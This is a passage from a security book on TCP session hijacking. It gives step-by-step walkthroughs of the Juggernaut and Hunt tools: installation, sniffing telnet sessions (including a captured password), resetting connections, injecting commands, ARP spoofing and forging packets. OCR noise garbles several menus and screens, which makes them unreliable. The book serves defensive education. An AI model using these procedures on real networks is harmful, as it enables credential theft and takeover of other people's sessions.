which attackers want to perform when no one is around because they are
harder to detect, with session hijacking, an attacker wants to perform
them when there is a lot of traffic. The logic is twofold. First, he has a lot
of sessions to choose from, and second, the more traffic that is occurring,
the less chance that someone will notice what is going on. If only one
person is connected and he gets knocked off several times, that user
might get suspicious, especially if there is not a lot of traffic on the
network. On the other hand, if there are many people connected and a lot
of traffic, a user will probably overlook getting knocked off, thinking that it
is because of the high level of traffic on the network.

Guess the Sequence Numbers

For two parties to communicate, the following are required: the IP
addresses, the port numbers, and the sequence number. Finding out the
IP address and the port is fairly easy to do; they are listed in the IP
packets and do not change throughout the session. After you know that
these two addresses are communicating on these two ports, that
information stays the same for the remainder of the session. The
sequence numbers, however, change. Therefore, an attacker must
successfully guess a sequence number. If the server is expecting
sequence number 12345 and an attacker sends a packet with 55555, the
server will get very confused and will try to re-synch with the original
system, which can cause a lot of problems, as you will see. On the other
hand, if an attacker sends 12345, the server accepts the packet and
processes it, which is the attacker’s goal. If he can get a server to receive
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his spoofed packets and execute them, he has successfully hijacked the
session.

Take One of the Parties Offline

After the attacker knows the sequence numbers, he has to take one of the
parties offline so he can take over the session. The easiest way to take a
computer offline is to launch a Denial of Service attack against the system
so that it can no longer respond. The server still sends responses back to
the system, but because the attacker crashed the system, it cannot
respond. (for more information on Denial of Service attacks, see Chapter
6).

The computer that is taken offline is usually the client computer, because
ideally an attacker wants to hijack a session with a server. If he is trying
to send packets to the server while the other computer is also sending
packets, the server can get very confused. This step assumes that the
attacker is performing an active hijack of the session. If he only wants to
watch the traffic, this step is unnecessary. Because, in most cases, an
attacker wants to take over the session, he takes the computer offline.

Take Over the Session

Now that the attacker has all of the information he needs, he can start
sending packets to the server and take over the session. He spoofs the
source information and the sequence number. If everything was done
correctly, the server receives the packets and processes them.
Remember, with a session hijacking attack, the attacker is basically flying
blind, because he does not receive any of the response packets.
Therefore, it is critical for the attacker to predict what the server is going
to do, so that his commands can be executed. In the simplest sense, he
wants to send packets to a telnet session that creates a new account. This
way, he can get back on the machine whenever he wants.

In this example, we are talking about the more complex session hijacking
attack where the attacker does not observe all of the traffic. This is similar
to the sequence guessing attack that Kevin Mitnick used to break into
Tsutomu Shimomura’s system. If an attacker can see all traffic, there is
no need to guess the sequence numbers and the attack is much simpler.
Therefore, I am covering the more complicated version.

ACK Storms

When an attacker hijacks a session, there can be adverse side effects.
One of the side effects is called an ACK storm.
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An ACK storm occurs when an attacker first starts to take over a session
and sends spoofed packets. Because there is a good chance the attacker
does not guess the sequence numbers correctly on first try, this causes
some problems. When the server receives the spoofed packets from the
attacker, it thinks they came from the legitimate user and notices that the
sequence numbers are out of synch. It then tries to re-synch the
sequence numbers. The server does this by sending SYN and ACK
packets, which the other system replies to with its own SYN and ACK
packets. The result is an ACK storm.

ACK storms also occur if the user whose session is being hijacked is not
taken offline with a Denial of Service attack. In this case, the server
acknowledges the packets that the attacker sent and the user’s machine
responds, because it never sent the packets that the server is responding
to.

When an ACK storm occurs, performance suffers because a large amount
of bandwidth is consumed by the large number of packets that are being
sent between the hosts. Figure 5.4 shows what happens when an ACK
storm occurs.

Figure 5.4. A graphical depiction of an ACK storm.

ACK (S, SNs) ACK (SNu) ACK (U, SNu) ACK (SNs) (e

T

ff"'f Server (S)

" Packet with (S, SNs +1)
ACK [SMU+1)

Attacker

Programs That Perform Hijacking

There are several programs available that perform hijacking. We will cover
four of them in this section:

e Juggernaut

¢ Hunt

e« TTY Watcher
« IP Watcher
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Juggernaut

Juggernaut is a network sniffer that can also be used to hijack TCP
sessions. It runs on Linux operating systems in a terminal window. It was
one of the first session hijacking tools and is easy to install and run.

Juggernaut can be set to watch for all network traffic or it can be given a
keyword or token to look for. For example, a typical token might be the
keyword login. Whenever Juggernaut sees this keyword, it captures the
session, which means an attacker can capture a user’s password as he is
authenticating to a machine. Or from a defensive standpoint, this tool can
be set to look for keywords that can indicate a possible attack. By doing
this, it becomes easier for an administrator to spot possible breaches of
security and take action.

The main function of this program is to maintain information about the
various session connections that are occurring on the network. This means
that an administrator can use the tool to determine all connections that
are occurring on a network. Also, an administrator can take a snapshot of
the current connections and look for any unusually activity. On the other
hand, an attacker can see all sessions and pick which ones he wants to
hijack. As you will see, after Juggernaut detects an active session, there
are lots of things that an attacker can do.

Installing Juggernaut

Installing Juggernaut is very straightforward. To install this program,
perform the following steps:

1. Download the compressed tar file from packetstorm.securify.com.
2. Uncompress the file by typing gunzip 1.2.tar.gz.
3. Uncompress the tar file by typing tar —xvf 1.2.tar.

2 and 3 can be combined by using the -z option and issuing the
following command: tar —-zxvf 1.2.tar.gz.

. Change to the Juggernaut directory by typing cd 1.2.
. Edit the makefile. The following are some of the key fields you might
want to change:

Ul b

MULTI_P. If this is defined, the program uses the multi-process
model of multi-tasking.

IP_HDRINCL. If this is defined, you need to use the IP_HDRINCL
socket option to build IP headers.
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NOHUSH. If this is defined, the program notifies the user audibly
when a connection is added.

GREED. If this is defined, the program attempts to add any and all
TCP-based connections.

FASTCHECK. If this is defined, the program uses the fast x86
assembler implementation of the IP checksum routine.

6. Compile the program by typing make all. Note: On the RedHat
Linux 6.2 system that I am using, the program compiles clean
without making any changes to the makefile. With RedHat Linux 7.0,
you might have trouble compiling the program if the FASTCHECK
option is defined.

. To run Juggernaut, type./juggernaut.

To get basic help, type./juggernaut -h. To get the full help file,

type./juggernaut —H.

® N

Running Juggernaut

To run Juggernaut, you type./juggernaut to start up the program. The
following is the main screen that appears:

Juggernaut

Help

Program information

Connection database

Spy on a connection

Reset a connection

Automated connection reset daemon
Simplex connection hijack
Interactive connection hijack
Packet assembly module

Souper sekret option number eight
Step Down

O 00 J oy Ul WNE O

We will briefly go through the important options to see how the program
works.

Connection Database

Option 1, connection database, shows you all active connections that the
program knows about. For the program to hijack or view a session, it has
to be available in the connection database. If there is an active connection
that is not in the database, it is probably based on the fact that the
program cannot see it. This might be because the connection is going to a
different subnet, in a switched environment, or the connection is going to
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a different machine. The following is the output from choosing this option
on a machine with active connections:

Current Connection Database:

ref # source target

(1) 10.159.90.18 [1042] -—> 10.246.68.39 [23]
(2) 10.159.90.18 [1046] -—> 10.246.68.39 [25]
(3) 10.159.90.18 [1047] -—> 10.246.68.39 [21]

Database is 0.59% to capacity.

In this case, there are three connections to the machine, a telnet
connection on port 23, an SMTP or mail connection on port 25, and an FTP
connection on port 21. In cases like this, it is important that you either
know the port numbers or have RFC 1700 - Assigned Numbers handy,
which shows you which port numbers map to which protocols.

Spy on a Connection

This option lets you watch a connection and see the data that is being
passed back and forth between the two connections. This is passive
hijacking, where you can view the session, but you do not actively do
anything. The following is the interaction that occurs when you choose this
option:

Current Connection Database:

ref # source target

(1) 10.159.90.18 [1042] ——> 10.246.68.39 [23]
(2) 10.159.90.18 [1046] -—> 10.246.68.39 [25]
(3) 10.159.90.18 [1049] -=> 10.246.68.39 [21]
(4) 10.159.90.18 [1051] ——> 10.246.68.39 [23]
(5) 10.159.90.18 [1053] -—> 10.246.68.48 [23]

Choose a connection [g] >5
Do you wish to log to a file as well? [y/N] >y

Spying on connection, hit “ctrl-c’ when done.
Spying on connection: 10.159.90.18 [1053]
10.246.68.48 [23]

eric

Password:

|
|
\
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Last login: Sun Aug 13 14:13:48 from 10.159.90.18
[eric@localhost eric]$ mkdir test

[eric@localhost eric]$ cd test

[eric@localhost test]$

When you first pick this option, it gives you a list of the current
connections in the database so you can choose which connection you want
to view. After you choose a connection—in this case we picked connection
5, which is a telnet session—the program asks if you want the data logged
to a file in addition to being printed to the screen. After you pick the
options, the data is printed to meet the options you selected. In this case,
you can see the user logged on to the system and issued some
commands. All of this monitoring is done without the user knowing it is
happening. One important thing to note about Juggernaut: The user’s
password does not get displayed. As you will see, with Hunt, the password
is pulled off the wire.

Reset a Connection

With this option, the attacker starts to become active. Now he can reset or
a close an active connection that is occurring on the network. When this
command is issued, the following is displayed on the screen:

Current Connection Database:

ref # source target

(1) 10.159.90.18 [1042] -—> 10.246.68.39 [23]
(2) 10.159.90.18 [1046] -—> 10.246.68.39 [25]
(3) 10.159.90.18 [1049] ——> 10.246.68.39 [21]
(4) 10.159.90.18 [1051] -—> 10.246.68.39 [23]
(5) 10.159.90.18 [1053] -=> 10.246.68.48 [23]

Choose a connection [g] >5

Reseting connection: 10.159.90.18 [1053] -—>
10.246.68.48 [23]

Connection torn down.

[cr-

First, the program gives the attacker a list of which connections are active
and allows him to pick which one he wants to reset. In this case, we pick
connection 5. The program then shows that it is resetting the connection
and that it is torn down. Now, if we display a list of active connections,
connection 5 is no longer there, which shows it was successfully reset:

Current Connection Database:
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ref # source target

(1) 10.159.90.18 [1042] -=> 10.246.68.39 [23]
(2) 10.159.90.18 [1046] -=> 10.246.68.39 [25]
(3) 10.159.90.18 [1049] -=> 10.246.68.39 [21]
(4) 10.159.90.18 [1051] -=> 10.246.68.39 [23]

Database is 0.78% to capacity.

From the user’s perspective, because the connection was reset, his
connection will be closed. If a user is working with a Windows telnet client
and the connection is reset, he would receive the message that is

displayed in Figure 5.5.

Figure 5.5. Telnet, connection closed message.

The user now has to reestablish the connection and log back on to the
system. This might be useful to an attacker if he hijacked an established
connection; he might want to reset it so he can watch the user log on.
This way, he can capture the user ID and password. Next time your
connecting and your connection is reset for no reason, you might want to
be a little suspicious.

Automated Connection Reset Daemon

This option automatically resets any connection attempts to a specific IP,
before they are established. In essence, anyone who tries to connect from
a given host is denied access, because the connection is reset before a
connection is established. The following is the output that is displayed
when using this option:

Enter source IP [g] >10.246.68.48
Enter target IP (optional) [g] >
Reseting all connection requests from: 10.246.68.48

[cr]

As you can see, an attacker could enter a source address to deny access
to any location for that host, or he could specify a source and target
combination IP address that is not allowed to communicate.
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Simplex Connection Hijack

This command allows an attacker to perform basic hijacking, where he can

inject a command into a TCP-based telnet stream. If the attacker only
wants a specific command executed, like creating a directory or a user
account, this works well. The following is the output from running this
command:

Current Connection Database:

(1) 10.159.90.18 [1062] -=> 10.246.68.48 [23]

Choose a connection [qg] >1
Enter the command string you wish executed [g] >mkdir eric

Spying on connection, hit “ctrl-c’ when you want to hijack.
NOTE: This may cause an ACK storm until client is RST.

Spying on connection: 10.159.90.18 [1062] -——>
10.246.68.48 [23]

The important thing to point out is that this causes a short ACK storm
while the session is being hijacked.

Interactive Connection Hijack

This option is your full session hijack, where an attacker takes over a

session from a legitimate client. The following is the output from using this

command:

Current Connection Database:

(1) 10.159.90.18 [1062] -=> 10.246.68.48 [23]

Choose a connection [qg] >1
Spying on connection, hit "ctrl-c’ when you want to hijack.
NOTE: This may cause an ACK storm until client is RST.

Spying on connection: 10.159.90.18 [1062] -——>
10.246.68.48 [23]
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It is important to note that, with this option, it creates a large ACK storm,
which could interrupt other connections on the network.

Packet Assembly Module

This option allows the attacker to create his own packets, where he has

control of the various header fields for the various protocols. The following

are the high-level protocols that the attacker can create packets for:

Packet Assembly Module

g s w N

(beta)

TCP Assembler

UDP Assembler

ICMP Assembler

IP Assembler

Return to previous menu

For TCP, the following are the fields that an attacker can control:

As you can see, this option is very powerful because an attacker can

O 00 J oy U W N

TCP Packet Assembly

Source port

Destination port
Sequence Number
Acknowledgement Number
Control Bits

Window Size

Data Payload

Return to previous menu
Return to main menu

create a packet with whatever options he wants. By using a program like
this, it becomes very easy to create and send a spoofed packet. I actually
use this program to create custom packets for either testing a network or
trying out various security vulnerabilities. It provides an easy interface to
create packets for spoofing a variety of fields. The following is the output

of creating an IP packet where the source and destination IP addresses
are the same and where the IP header fields are set to various values:

Juggernaut
Help
Program information
Connection database
Spy on a connection
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>

>4

>1
Minimize
Maximize

Maximize
Minimize

O 0 J oy U1 b W
—_— — — — — — —

g w N

Delay? [yNqg] >Y

Throughput? [yNg]

Reliability? [yNqg]

O 00 J oy U W N

Reset a connection

Automated connection reset daemon
Simplex connection hijack
Interactive connection hijack
Packet assembly module

Souper sekret option number eight
Step Down

TCP Assembler

UDP Assembler

ICMP Assembler

IP Assembler

Return to previous menu

IP Packet Assembly

TOS

Fragment Flags

Fragment Offset

TTL

Source Address
Destination Address
Number of packets to send
Return to previous menu
Return to main menu

>Y
>Y

Monetary Cost? [yNg] >Y

TOS:

O ~J o U b W

IP Packet Assembly

none set

Fragment Flags

Fragment Offset

TTL

Source Address
Destination Address
Number of packets to send
Return to previous menu
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>2

More Fragments?

Don't Fragment?

>3

Fragment Offset

>4

TTL

(0

- 255)

[ar]

[yNg]

[yNqg]

[ar] >

>30

9. Return to main menu

IP Packet Assembly

TOS: none set
Fragment flags: none set

3. Fragment Offset
4. TTL
5. Source Address
6. Destination Address
7. Number of packets to send
8. Return to previous menu
9. Return to main menu
IP Packet Assembly
_|_ ______________________________

TOS: none set

Fragment flags: none set
Fragment offset: O

TTL

Source Address
Destination Address
Number of packets to send
Return to previous menu
Return to main menu

O 00 J oy U

IP Packet Assembly

TOS: none set

Fragment flags: none set
Fragment offset: 0

TTL: 30

Source Address
Destination Address
Number of packets to send
Return to previous menu

0 ~J o Ul
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9. Return to main menu
>5
Source Address [gr] >10.246.68.48
IP Packet Assembly

TOS: none set

Fragment flags: none set
Fragment offset: O

TTL: 30

Source Address: 10.246.68.48
6. Destination Address

7. Number of packets to send
8. Return to previous menu
9. Return to main menu

>6
Destination Address [gr] >10.246.68.48
IP Packet Assembly

TOS: none set

Fragment flags: none set

Fragment offset: 0

TTL: 30

Source Address: 10.246.68.48
Destination Address: 10.246.68.48
7. Number of packets to send

8. Return to previous menu

9. Return to main menu

>7
Amount (1 - 65536) [gr] >5
IP Packet Assembly

TOS: none set

Fragment flags: none set

Fragment offset: 0

TTL: 30

Source Address: 10.246.68.48
Destination Address: 10.246.68.48
Sending 5 packet (s)

8. Return to previous menu

9. Return to main menu

10. Transmit packet (s)
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>10
5 Packet (s) injected.

IP Packet Assembly

TOS: none set

Fragment flags: none set

Fragment offset: O

TTL: 30

Source Address: 10.246.68.48
Destination Address: 10.246.68.48
Sending 5 packet (s)

8. Return to previous menu

9. Return to main menu

10. Transmit packet (s)

To confirm that the program works properly, I sniffed the packets off the
network while they were being generated by Juggernaut, as follows:

05:34:28.911080 ethO0 > arp who-has 10.246.68.48 tell seclinuxl
(0:50:8b:%9a:51:30)

05:34:28.911178 ethO0 < arp reply 10.246.68.48 is-at
0:50:8b:9%a:4c:1b

(0:50:8b:%9a:51:30)

05:34:28.911192 eth0 > 10.246.68.48 > 10.246.68.48: ip-proto-0
532 (frag

38102:532@0+) (DF) [tos Oxle,ECT]

05:34:28.911196 eth0 > 10.246.68.48 > 10.246.68.48: ip-proto-0
532 (frag

38101:532@0+) (DF) [tos Oxle,ECT]

05:34:28.911200 ethO > 10.246.68.48 > 10.246.68.48: ip-proto-0
532 (frag

38100:532@0+) (DF) [tos Oxle,ECT]

As you can see, the packets were all created correctly, based on the
information I specified. When you look at them, these packets don’t make
a lot of sense, but the bottom line is an attacker can create whatever
packets he wants. Another one way new exploits are discovered is by an
attacker trying something that doesn’t make sense—in some cases,
depending on how the end machine reacts, he could either gain access or
crash the machine and cause a Denial of Service attack.

Souper Sekret Option Number Eight

This option is so secret that I cannot tell you about it. It is listed as an
option for future growth or for the user’s imagination.
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Hunt

Hunt is a program that can be used to listen, intercept, and hijack active
sessions on a network. As of the writing of this book, the latest version is
version 1.5. Hunt was written by Pavel Krauz, who's Web page is
http://lin.fsid.cvut.cz/~kra/index.html. Hunt came out after Juggernaut
was released and built upon some of the same concepts that Juggernaut
uses. Also, because it came out later, it has some additional features and
enhancements. To get a full listing of the functionality and enhancements,
please see the documentation that comes with Hunt. The following are
some of the new features, taken from the online documentation, that Hunt
offers:

« Connection management:

o Setting what connections you are interested in.

o Detecting an ongoing connection (not only SYN started).

o Normal active hijacking with the detection of the ACK storm.

o ARP spoofed/normal hijacking with the detection of successful
ARP spoof.

o Synchronization of the true client with the server after
hijacking (so that the connection does not have to be reset).
Resetting connection.

Watching connection.
Daemons:
= Reset daemon for automatic connection resetting.
= ARP spoof/relayer daemon for ARP spoofing of hosts
with the capability to relay all packets from spoofed
hosts.
= MAC discovery daemon for collecting MAC addresses.
= Sniff daemon for logging TCP traffic with the capability
to search for a particular string.

e Host resolving:
o Deferred host resolving through dedicated DNS helper servers.

o Packet engine:
o Extensible packet engine for watching TCP, UDP, ICMP, and
ARP traffic.
o Collecting TCP connections with sequence numbers and the
ACK storm detection.

o Miscellaneous:
o Determining which hosts are up.

e Switched environment:

o Hosts on switched ports can be spoofed, sniffed, and hijacked
too.
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As you can see, Hunt has a lot of powerful features from both a passive
and active session hijacking standpoint.

Installing Hunt

Installing Hunt is very straightforward. To install this program, perform
the following steps:

Download the compressed tar file from packetstorm.securify.com.
Uncompress the file by typing gunzip hunt-1.5.tgz.

Uncompress the tar file by typing tar —xvf hunt-1.5.tar.

Change to the Hunt directory by typing c¢d hunt1-5.

Edit the makefile.

Compile the program by typing make. Note: With Linux, it is easier
to download the precompiled binary file. To do this, download and
uncompress the file hunt-1.5bin.tar.

7. To run Hunt, type./hunt.

s

In step 6, because you can download the precompiled binary, it is a lot
easier to get Hunt up and running on a Linux machine. Also, because you
can download the source code, you can still go through the source and
figure out what is going on.

Running Hunt

To run Hunt, you type./hunt from a terminal window. After Hunt starts,
the following are the main options available to the user:

[root@seclinuxl hunt-1.5]# ./hunt

/
* hunt 1.5
* multipurpose connection intruder / sniffer for Linux
* (c) 1998-2000 by kra
*/

starting hunt

--- Main Menu --- rcvpkt 0, free/alloc 63/64 —----—-

1/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)

S) simple hijack

d) daemons rst/arp/sniff/mac

0) options

X) exit

*>

Now, the user selects an option to continue.

I/w/r) list/watch/reset connections
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To see a list of all active connections, you type the 1 command and the
following is displayed:

--- Main Menu --- rcvpkt 1947, free/alloc 63/64 ------
1/w/r) list/watch/reset connections
u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)
) simple hijack

) daemons rst/arp/sniff/mac

) options
)

->

)

X O Q w

exit
1
0) 10.159.90.18 [1025] --> 10.246.68.39 [23]
1) 10.159.90.18 [1026] -—> 10.246.68.39 [23]
-—- Main Menu --- rcvpkt 2157, free/alloc 63/64 -——---
1/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
) simple hijack
) daemons rst/arp/sniff/mac
) options
) exit

X O Q w

Notice that after you type the 1 command, the program lists the active
connections and immediately displays the menu option again. This is so
the user can take action on one of the connections.

Now, if you type w, you can watch one of the active connections:

1/w/r) list/watch/reset connections
u) host up tests
arp/simple hijack (avoids ack storm if arp used)

a)
s) simple hijack
d) daemons rst/arp/sniff/mac
0) options
X) exit
> W
0) 10.159.90.18 [1025] --> 10.246.68.39 [23]
1) 10.159.90.18 [1029] --> 10.246.68.39 [23]

choose conn> 1
dump [s]rc/[d]st/[b]loth [b]>
print src/dst same characters y/n [n]>

CTRL-C to break
eerriicc

Password: erics-password
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Last login: Sun Aug 13 14:18:28 from 207.159.90.18
[eric@seclinuxl eric]$ mmkkddiirr eerriicc

[eric@seclinuxl eric]$ ccdd eerriicc

[eric@seclinuxl eric]$

After an attacker picks a connection, the attacker can see everything that
the user types. For example, he can see the user’s password being typed
and then go back and log on as that user. Just watching a session can
provide a lot of useful information.

As with Juggernaut, an attacker can also reset a connection. Remember,
an administrator who finds an unauthorized connection on her network
might also want to reset the connection to prevent any damage from
being done. The following is what is displayed when a connection is reset:

1/w/r) list/watch/reset connections
u) host up tests
arp/simple hijack (avoids ack storm if arp used)

a)
S) simple hijack
d) daemons rst/arp/sniff/mac
o) options
X) exit
*> r
0) 207.159.90.18 [1025] --> 208.246.68.39 [23]
1) 207.159.90.18 [1029] --> 208.246.68.39 [23]

choose conn> 1
reset [s]rc/[d]lst/[bloth [b]>
done

This is very easy to perform with Hunt. You just pick a connection and
have it reset. As with Juggernaut, the connection is terminated and the
user receives a Connect to host lost message similar to what is shown

in Figure 5.5.

host up tests

This option goes through a variety of methods to see which hosts are
active on a network. This gives the attacker a better idea of which IP
addresses or MAC addresses can be spoofed. The following is the output
from running the command:

-—-— Main Menu --- rcvpkt 248, free/alloc 63/64 ------
1/w/r) list/watch/reset connections
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u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)
S) simple hijack

d) daemons rst/arp/sniff/mac

o) options

X) exit

*>u

start ip addr [0.0.0.0]> 10.246.68.1

end ip addr [0.0.0.0]> 10.246.68.50

host up test (arp method) y/n [y]>

arp...

UP 10.246.68.1

UP 10.246.68.2

UP 10.246.68.3

UP 10.246.68.26

UP 10.246.68.27

UP 10.246.68.28

UP 10.246.68.48

UP 10.246.68.50

host up test (ping method) y/n [y]>

mac discovery

ping...

UP 10.246.68.33

UP 10.246.68.46

UP 10.246.68.48

UP 10.246.68.50

net ifc promisc test (arp method) y/n [y]>
choose unused MAC in your network [EA:1A:DE:AD:BE:01]>
arp...

net ifc promisc test (ping method) y/n [y]>
choose unused MAC in your network [EA:1A:DE:AD:BE:02]>
ping...

Hunt gives you a good idea of what hosts are available on a given
segment.

arp/simple hijack

This option offers a simple interface for insertion of data into a selected
connection using address resolution protocol (ARP) spoofing. By using ARP
spoofing, you can avoid the ACK storm that is present with other hijacking
techniques. ARP spoofing is fairly simple. When a host wants to
communicate with a given IP address, he has to resolve the IP address to
a MAC address, which is the address that is coded into the network
interface card. Resolving the IP to MAC address is usually done through
ARP, which queries a host and finds out its MAC address. If you can fool a
system into thinking that the MAC address for a given IP address is your
MAC address and not the real user, the machine sends the data to you
thinking it is the real user. This type of attack, which is referred to as ARP
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poisoning, is fairly simple but can be extremely effective. The following is
the output when using this feature with Hunt:

choose conn>

-—— Main Menu --- rcvpkt 163, free/alloc 63/64 --—-—--
1/w/r) list/watch/reset connections
u) host up tests

arp/simple hijack (avoids ack storm if arp used)

a)
s) simple hijack
d) daemons rst/arp/sniff/mac
0) options
X) exit
*> a
0) 10.159.90.18 [1025] --> 10.246.68.39 [23]
1) 10.159.90.18 [1030] --> 10.246.68.39 [23]

choose conn> 1

arp spoof src in dst y/n [y]>

src MAC [EA:1A:DE:AD:BE:01]>

arp spoof dst in src y/n [y]>

dst MAC [EA:1A:DE:AD:BE:02]>

input mode [rlaw, [l]inet+echo+\r, line+[e]cho [r]>
dump connectin y/n [y]>

dump [s]rc/[d]st/[b]oth [b]>

print src/dst same characters y/n [n]>

By using a program like Hunt, you only need minimal knowledge of how
session hijacking works. The tool takes you through all of the necessary
steps, and in most cases, if you accept the default values, you will be in
good shape.

simple hijack

This option allows you to inject commands into the data stream. This is an
easy way to get commands executed on the remote host. The following
example creates directories on the remote host, but an attacker can
perform more devious actions, like create new accounts or delete
information:

-—-— Main Menu --- rcvpkt 595, free/alloc 63/64 --——--
1/w/r) list/watch/reset connections

u) host up tests

a) arp/simple hijack (avoids ack storm if arp used)
s) simple hijack

d) daemons rst/arp/sniff/mac

0) options

X) exit

*>S
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0) 10.159.90.18 [1025] --> 10.246.68.39 [23]

1) 10.159.90.18 [1030] --=> 10.246.68.39 [23]
choose conn> 1

dump connection y/n [n]>

Enter the command string you wish executed or [cr]> mkdir
testl23

Enter the command string you wish executed or [cr]> mkdir
testd56

Enter the command string you wish executed or [cr]>
[rleset connection/[s]ynchronize/[n]lone [r]>

done

Most of the features that Hunt performs are the same as Juggernaut, but
in some cases, it is a little easier to use.

daemons rst/arp/sniff/mac

This option lets you control the daemons or threads for the program and
how they work. When you select this option, it brings up the following
sub-menu:

--- Main Menu --- rcvpkt 0, free/alloc 63/64 —------
1/w/r) list/watch/reset connections
u) host up tests

) arp/simple hijack (avoids ack storm if arp used)
S) simple hijack

)

)

d daemons rst/arp/sniff/mac

o) options

X) exit

*>d

--- daemons --- rcvpkt 18, free/alloc 63/64 -—-—----

r) reset daemon

a) arp spoof + arp relayer daemon
s) sniff daemon

m) mac discovery daemon

x) return

*dm>

From this menu, you can than control how the various threads work.
Options
This option also brings up the following sub-menu where you can control

various parameters of the program:

1/w/r) list/watch/reset connections
u) host up tests
a) arp/simple hijack (avoids ack storm if arp used)
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S) simple hijack

d) daemons rst/arp/sniff/mac

0) options

X) exit

*> 0

-—-- options --- rcvpkt 656, free/alloc 63/64 —-—---—-

1) list add conn policy
a/m/d) add/mod/del conn policy entry

c) conn list properties mac n, seq n

g) suggest mac base EA:1A:DE:AD:BE:00

h) host resolving n t) arp req
spoof through reqg y

r) reset ACK storm timeout 4s w) switched environment
Y

s) simple hijack cmd timeout 2s y) arp spoof with my
mac n

q) arp reqg/rep packets 2 e) learn MAC from
IP traffic n

p) number of lines per page 0 v) verbose

n

i) print cntrl chars %

X) return

*opt>

TTY Watcher

TTY Watcher is a freeware program that allows someone to monitor and
hijack connections on a single host. Additional information can be found at
http://www.cerias.purdue.edu. It is basically a free version of IP Watcher
(which is covered in the following section) that only monitors a single
machine as opposed to an entire network. TTY Watcher runs on UNIX
systems and has the following functionality:

« Monitoring. Anything that either party of the communication types
can be monitored and displayed on the screen. This includes
information like passwords, sensitive files, and emails. Everything
the user sees, you can see. It's as if you are looking over the user’s
shoulder as she types.

« Termination. To hijack a session, one of the two parties that are
involved with the session must be terminated. This feature allows
you to knock one of the users offline while still keeping the session
active so that it can be hijacked.

o Steal. This is where the attacker actually steals or hijacks the
session. This is usually done after one of the parties is terminated.
You would terminate one side of the communication and take over
the portion to hijack the session.

« Return. After a session has been hijacked, it can be returned to
the user as if nothing happened. This is useful if you only want to
hijack a session for a short amount of time.

“ Hackers Beware ™ New Riders Publishing 197



« Send. This allows you to send a message to the real person you
are communicating with. This message is only displayed to the user
and not sent to the underlying process.

« Save and replay. With this feature, you can tape an entire session
and play it back at a later time. This is very useful for either
understanding what someone is doing on your system or for
tracking an attacker so that the information can be used as
evidence.

Because this program performs similar features to Hunt and Juggernaut, it
will not be discussed in detail. All of these features that are available in
TTY Watcher are also in available in IP Watcher, plus IP Watcher has
additional features and an easy-to-use interface.

IP Watcher

IP Watcher is a commercial session hijacking tool that allows you to
monitor connections and has active countermeasures for taking over a
session. It is based on TTY Watcher, but provides additional functionality.
IP Watcher can monitor an entire network; TTY Watcher can only monitor
a single host. Because IP Watcher is commercial and has additional
functionality, the old saying that “you get what you pay for” is really true.
It is available from Engarde and additional information can be found at
http://www.engarde.com/.

Most people think of session hijacking as a technique or tool used by an
attacker to take over an existing session, but there are reasons why
administrators might want to monitor and control sessions coming in and
leaving their company. For example, if an administrator detects that an
intruder is compromising a system, he might want to first monitor the
intruder for a while. Then, at some point, the administrator might take the
intruder offline if he is going to do too much damage. Also, from a
forensics or information gathering perspective, having a full account of
what an attacker does on a system can be extremely valuable. It also
helps an administrator better understand how his system can be
compromised and what an attacker was able to do. This can be extremely
valuable in fixing a security hole so that the system cannot be
compromised in the same fashion in the future. As with any tool that
implements functionality that can be used by an attacker, the possibility
for abuse arises. Yes, an administrator can use this tool to protect a
system, but what stops an attacker from using these tools to break into
your system? The only thing that stops him is well-informed
administrators and well-protected sites. Therefore, it is critical that
administrators embrace and understand these tools so that they can
protect their systems.
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IP Watcher is a tool that can monitor all connections on a network and
inspect what information is being sent back and forth between hosts that
are communicating.

The program can monitor all the connections on a network, allowing an
administrator to display an exact copy of a session in real time, just as the
user of the session sees the data. To monitor connections, IP Watcher has
a screen that displays all active connections on a network so an
administrator can choose which session to monitor or hijack.

After the administrator decides on which connection to monitor, he can
select that session and see exactly what the user sees.

To use this tool, or any tool that hijacks a session, it is important to
remember that the machine that is hijacking the session must be able to
see the session. You cannot hijack a session that is occurring on the
opposite side of the world. To hijack a session, the traffic must pass
through your network so you can see it.

IP Watcher is a very powerful commercial tool that can be used to monitor
traffic by hijacking sessions. It has the same features as the freeware
tools like Hunt, but the interface is more straightforward and easier to
use. Next, we will look at some of the dangers hijacking poses to your
network

Dangers Posed by Hijacking

As with any threat, there are dangers posed if an attacker can successfully
launch an attack against your network. In this section, we will look at
those dangers and what harm they can do to a system. The following are
some of the key issues associated with a session hijacking attack:

« Most computers are vulnerable.

« Little can be done to protect against Hijacking.
o Hijacking is simple (with the proper software).
« Hijacking is very dangerous

e Most countermeasures do not work.

Most Computers Are Vulnerable

As with most vulnerabilities, session hijacking only affects a certain
operating system. Or if it affects numerous operating systems, there is
usually some way to fix it with a vendor patch. Session hijacking is
inherent with how TCP/IP works. Users have to be able to make
connections and establish sessions with remote computers. By allowing
users to do this, they are vulnerable to session hijacking attacks.
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By nature of how the Internet works, any machine that uses the Internet
to communicate is inherently vulnerable to this type of attack. As we will
cover in the next section, there are things that can be done to minimize
the threat of a session hijacking attack, but there is no way to eliminate
the threat. This can be frustrating because, with most other exploits, if
you apply a patch, the problem goes away. With session hijacking, as long
as users communicate over a network, the threat exists.

Little Can Be Done to Protect Against It

As we will cover in the next section, besides encryption, there is little that
can be done to protect against session hijacking. This can be frustrating to
many administrators, because they rely on countermeasures to protect
against certain types of attacks. Based on this, people tend to forget that
there is a threat and overlook session hijacking when performing forensic
analysis after a breach. I know several companies that ignore the threat
that session hijacking poses and discount that anyone would do that to
them. But just because little can be done from a protection standpoint
does not mean it is not a threat.

Hijacking Is Simple (with the Proper Software)

Session hijacking in theory is very complex. To perform it manually takes
someone very skilled in network technology and computers—even then, it
takes a considerable amount of time. However, based on the efforts of
some very smart people, there are programs attackers use that make it
much simpler to perform session hijacking. For those with even less skill,
there are commercial programs available with easy-to-use interfaces that
make it trivial for a large number of people to perform session hijacking.
An attacker does not even need to understand how hijacking works. If he
has a target in mind, a means to see the communication, and one of these
tools, he can hijack a session like a professional.

Highjacking Is Very Dangerous

Session hijacking is dangerous for a large number of reasons. One of the
main reasons is that it is operating system independent. It does not
matter what operating system you are running, if you make a TCP/IP
connection, an attacker can take over your session. Another reason is it
can be used for both passive and active reasons. You can use it to capture
sensitive information and passwords, without anyone ever knowing. From
an active standpoint, it can be used to gain access and compromise a
